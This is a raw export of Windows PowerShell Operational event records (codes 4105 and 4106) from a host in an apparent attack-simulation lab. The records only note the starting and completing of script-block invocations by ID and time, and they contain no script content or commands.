Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987822 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987821 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987820 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987819 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987818 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987817 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987816 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987815 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987814 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987833 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987832 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987831 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987830 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987829 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987828 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987827 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987826 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987825 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987824 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987843 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987842 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987841 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987840 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987839 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987838 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987837 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987836 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987835 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987834 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987853 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987852 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987851 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987850 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987849 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987848 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987847 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987846 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987845 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987844 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987863 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987862 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987861 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987860 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987859 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987858 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987857 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987856 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987855 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987854 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987873 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987872 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987871 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987870 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987869 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987868 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987867 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:00 PM 